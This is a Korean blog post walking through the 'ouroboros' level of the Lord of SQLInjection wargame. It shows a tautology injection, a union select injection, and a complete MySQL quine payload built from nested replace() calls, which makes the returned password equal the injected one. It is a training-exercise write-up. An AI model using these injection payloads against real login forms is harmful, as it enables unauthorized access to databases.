Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 ouroboros문제에 대해 다루겠다.


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

ouroboros

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, ., rollup, join, @를 필터링하고 있다는 것을 알 수 있다.

또한 pw값을 알아야 문제를 해결할 수 있는 것으로 보인다.

## 문제 풀이 :

간단하게 pw=' or '1를 통해 공격을 시도해보겠다.

### 사용할 공격문 : pw=' or '1

### 실행 결과 :

1차 시도

아무런 값이 출력되지 않다는 사실을 알 수 있다. 즉, 테이블 안에 아무 값이 존재하지 않다는 것이다.

 

그럼 이어서 union select 문을 활용하여 공격을 시도해보겠다.

### 사용할 공격문 : pw=' union select '1

### 실행 결과 :

2차 시도

"Pw: 1"이 출력된 것을 확인할 수 있다. 즉 컬럼 중 pw 하나만 존재한다는 것을 알 수 있다.

 

그러나 우리가 가져온 pw값이 우리가 입력한 pw값과 같아야 하기 때문에 이 둘을 일치시켜야 한다.

 

여기서 mysql의 quine을 활용하여 공격을 시도해보겠다.

(quine은 소스코드를 그대로 출력해주는 프로그램이다.)

### 사용할 공격문 : pw=a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23') as pw%23

### 실행 결과 :

공격 성공

## 추가 해석 :

쿼리문 : pw=a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23') as pw%23

우리가 기입한 pw의 값이 a이므로 union select문을 통해 똑같은 값인 a를 받아와야 공격에 성공할 수 있다. 따라서 replace문 여러개를 활용하여 값을 변조하였다.

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!